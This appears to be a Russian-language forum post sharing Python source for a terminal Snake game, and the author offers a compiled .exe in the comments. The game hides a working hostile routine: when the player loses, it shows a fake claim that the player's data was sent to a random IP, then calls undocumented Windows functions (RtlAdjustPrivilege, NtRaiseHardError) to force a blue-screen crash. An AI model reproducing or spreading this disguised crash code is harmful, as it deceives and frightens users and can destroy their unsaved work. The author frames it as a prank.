Код змеи (в комменты кину .exe), естественно, самое опасное там BSOD, ибо никакого стиллера внутри нет, IP генерируется случайно)
import ctypes
import curses
from random import randint
import time
def generate_food(max_y, max_x, snake):
while True:
food = [randint(1, max_y - 2), randint(1, max_x - 2)]
if food not in snake:
return food
def trigger_bsod():
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(
0xC000021A, 0, 0, 0, 6, ctypes.byref(ctypes.c_uint())
)
def main(stdscr):
curses.curs_set(0)
stdscr.nodelay(1)
stdscr.timeout(50)
max_y, max_x = stdscr.getmaxyx()
snake = [[5, 10], [5, 9], [5, 8]]
direction = curses.KEY_RIGHT
food = generate_food(max_y, max_x, snake)
stdscr.addch(food[0], food[1], "*")
while True:
key = stdscr.getch()
if key in [curses.KEY_RIGHT, curses.KEY_LEFT, curses.KEY_UP, curses.KEY_DOWN]:
direction = key
head = snake[0][:]
if direction == curses.KEY_RIGHT:
head[1] += 1
elif direction == curses.KEY_LEFT:
head[1] -= 1
elif direction == curses.KEY_UP:
head[0] -= 1
elif direction == curses.KEY_DOWN:
head[0] += 1
if (
head in snake
or head[0] < 0
or head[1] < 0
or head[0] >= max_y
or head[1] >= max_x
):
break
snake.insert(0, head)
if head == food:
food = generate_food(max_y, max_x, snake)
stdscr.addch(food[0], food[1], "*")
else:
tail = snake.pop()
stdscr.addch(tail[0], tail[1], " ")
stdscr.addch(head[0], head[1], "#")
stdscr.clear()
stdscr.addstr(max_y // 2 - 1, max_x // 2 - 10, "Вы проиграли!")
stdscr.addstr(max_y // 2, max_x // 2 - 20, f"Ваши данные переданы на IP: {randint(1, 255)}.{randint(0, 255)}.{randint(0, 255)}.{randint(1, 255)}")
stdscr.addstr(max_y // 2 + 1, max_x // 2 - 15, "Твоей системе конец через 5 секунд...")
stdscr.refresh()
time.sleep(5)
trigger_bsod()
if __name__ == "__main__":
curses.wrapper(main)